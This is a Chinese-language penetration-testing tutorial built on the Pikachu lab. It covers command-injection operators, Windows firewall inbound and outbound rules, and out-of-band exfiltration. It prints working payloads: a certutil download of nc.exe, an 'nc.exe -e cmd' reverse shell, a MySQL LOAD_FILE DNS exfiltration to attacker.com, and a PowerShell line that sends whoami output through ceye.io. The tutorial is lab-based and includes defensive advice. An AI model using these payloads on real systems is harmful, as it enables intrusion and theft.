文章目錄
- 1 管道符
- 2 防火墻出入站
- 3 不回顯外帶
- 典型場景
- 常見OOB通道
- 實現示例(以DNS為例)
- 1. 利用DNS外帶數據
- 2. 使用工具監聽
- 防御建議
- 擴展:無回顯OOB自動化工具
- 注意事項
- 演示
- 結語
1 管道符
| (管道符號)
||(邏輯或)
&&(邏輯與)
&(后臺任務符號)
windows:| & || &&
Linux: `| || & && ; ```,````和;為linux特有
linux演示:
案例演示:pikachu ping命令執行反向鏈接 ,
分析:
-
判斷為windows系統
-
windows沒有自帶的nc命令
-
想辦法上傳nc
ping 172.0.0.1 | certutil.exe -urlcache -split -f http://192.168.0.104:80/nc.exe l:\\nc.exe ping 172.0.0.1 |
-
反彈權限
完成上述步驟后,執行如下命令
# windows
ping 127.0.0.1 | l:\\nc.exe -e cmd 192.168.0.105 5566
# linux
ncat -lvvp 5566
如下圖所示:
2 防火墻出入站
這里我們以windows防火墻為例,測試連接。
“防火墻出入站”指的是防火墻規則中數據流動的方向,核心是以防火墻所保護的網絡或主機為參照點。
簡單來說:
- 入站 (Inbound / Ingress):
- 方向: 從外部網絡(比如互聯網)流向防火墻保護的內部網絡或主機。
- 例子:
- 互聯網上的用戶訪問你公司的網站服務器。
- 外部人員嘗試通過 SSH 連接你的內部服務器。
- 來自互聯網的電子郵件到達你的郵件服務器。
- 防火墻規則作用: 控制誰可以訪問你的內部資源以及訪問哪些服務(端口)。這是防火墻最主要的防護功能,通常規則設置得比較嚴格(默認阻止大部分入站連接,只開放必要的服務)。
- 參照點: 數據是進入被保護的區域。
- 出站 (Outbound / Egress):
- 方向: 從防火墻保護的內部網絡或主機流向外部網絡(比如互聯網)。
- 例子:
- 你辦公室的電腦訪問谷歌搜索。
- 你內部的服務器從外部軟件倉庫下載更新。
- 你的郵件服務器向外部發送電子郵件。
- 防火墻規則作用: 控制內部用戶或設備可以訪問外部哪些資源(IP、域名、端口、協議)。規則通常相對寬松(默認允許大部分出站連接),但也用于:
- 阻止訪問惡意網站。
- 限制訪問某些類型的網站(如社交媒體、游戲)。
- 防止內部惡意軟件或受感染主機“回連”到外部命令控制服務器。
- 防止內部主機進行端口掃描等惡意行為。
- 參照點: 數據是離開被保護的區域。
關鍵區別總結:
特性 | 入站 (Inbound/Ingress) | 出站 (Outbound/Egress) |
---|---|---|
方向 | 進入受保護網絡/主機 | 離開受保護網絡/主機 |
來源 | 外部網絡 (如互聯網) | 內部網絡/主機 |
目標 | 內部網絡/主機 | 外部網絡 (如互聯網) |
主要目的 | 保護內部資源不被外部訪問/攻擊 | 控制內部資源對外部的訪問 |
默認規則 | 通常較嚴格 (默認拒絕/阻止大部分連接) | 通常較寬松 (默認允許大部分連接) |
例子 | 訪問網站服務器、遠程桌面連接、接收郵件 | 瀏覽網頁、下載文件、發送郵件、訪問云服務 |
為什么理解出入站方向很重要?
- 精準配置規則: 創建防火墻規則時,必須明確指定規則是應用于入站流量還是出站流量,否則規則無效或達不到預期效果。
- 理解安全策略: 防火墻的安全策略核心就是定義“什么入站流量允許進來”和“什么出站流量允許出去”。
- 故障排查: 當網絡連接出現問題時,判斷是入站規則還是出站規則阻止了連接是解決問題的關鍵第一步。
- 合規性與審計: 許多安全標準和法規要求對出入站流量進行明確的控制、監控和審計。
簡單記憶方法:
- 入站: 別人 (外部) 想進來訪問你 (內部) 的東西。
- 出站: 你 (內部) 想出去訪問別人 (外部) 的東西。
理解出入站方向是配置和管理任何防火墻(無論是硬件防火墻、軟件防火墻、云防火墻還是主機防火墻)的基礎。你需要根據你的安全需求,在出入站兩個方向上分別設置允許或拒絕流量的規則。
windows開啟防火墻之后,linux無法正向連接windows,即windows防火墻入站被限制。入站放行5566端口之后,正向連接正常,如下圖所示:
出站方向同樣如此,這里不再演示,因為嚴進寬出的策略,入站放行即使沒有顯示禁用5566端口,5566端口入站方向也是被禁止訪問的。
3 不回顯外帶
當命令執行沒有顯示的回顯時,我們不知道是否執行,執行結果是什么,此時可借助外部網站顯示。
在網絡安全或滲透測試中,“不回顯帶外”(Out-of-Band, OOB)通常指利用非直接回顯的通道傳輸數據,常用于漏洞利用(如SQL注入、XXE、命令注入等)。以下是常見場景和實現思路:
典型場景
- 無回顯漏洞利用
當攻擊注入點不返回結果時(如盲注),通過OOB通道將數據外帶。- 示例:
SQL盲注
中利用DNS請求外帶數據庫數據。
- 示例:
- 繞過防火墻/過濾
避免觸發基于請求/響應的安全檢測。 - 隱蔽數據泄露
通過DNS、HTTP、SMB等協議外傳敏感信息。
常見OOB通道
協議 | 原理 | 工具 |
---|---|---|
DNS | 目標發起DNS查詢,攻擊者從DNS日志中提取數據 | dnslog.cn , Burp Collaborator |
HTTP | 目標向攻擊者服務器發送HTTP請求攜帶數據 | Python http.server , ngrok |
SMB | 目標訪問攻擊者偽造的SMB服務器 | Impacket smbserver.py |
實現示例(以DNS為例)
1. 利用DNS外帶數據
-- SQL注入示例(MySQL)
LOAD_FILE(CONCAT('\\\\', (SELECT HEX(user())), '.attacker.com\\fake'));
- 目標向
{hex_data}.attacker.com
發起DNS查詢,攻擊者從日志中提取數據。
2. 使用工具監聽
- 免費平臺:訪問 dnslog.cn 獲取臨時域名。
- 專業工具:Burp Suite 的
Collaborator
模塊。
防御建議
- 輸入嚴格過濾
禁止特殊字符(如\
,$
,|
)。 - 限制出站請求
防火墻規則限制服務器發起DNS/HTTP請求。 - 啟用日志審計
監控異常DNS查詢或外連行為。 - 最小化權限
數據庫/服務使用低權限賬戶運行。
擴展:無回顯OOB自動化工具
-
SQLMap:使用
--dns-domain
參數自動化OOB注入檢測。sqlmap -u "http://target.com?id=1" --dns-domain=attacker.com
-
XXExploiter:專用于XXE OOB利用(GitHub)。
注意事項
- 合法性:未經授權測試屬違法行為。
- 隱蔽性:實際攻擊中可能被安全設備(如IDS)檢測。
- 依賴環境:目標需能訪問外網(如允許DNS解析)。
演示
這里dns我們利用第三方網站,有興趣的可以自己搭建,有專門教程。
第一步:注釋掉pikachu ping命令執行中結果回顯,如下圖所示
第二步:下面連接3注冊賬號,payloads頁面找到對應系統的需要執行的命令,我們的是windows
ping 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.xxx.ceye.io';$z=$x+$y;ping $z
- xxx:為自己配置
效果如下圖所示:
結語
?QQ:806797785
??倉庫地址:https://gitee.com/gaogzhen
??倉庫地址:https://github.com/gaogzhen
[1]全棧網絡安全 | 滲透測試 | 高級紅藍對抗 V2024最新版[CP/OL].
[2]棱角社區[CP/OL].
[3]CEYE[CP/OL].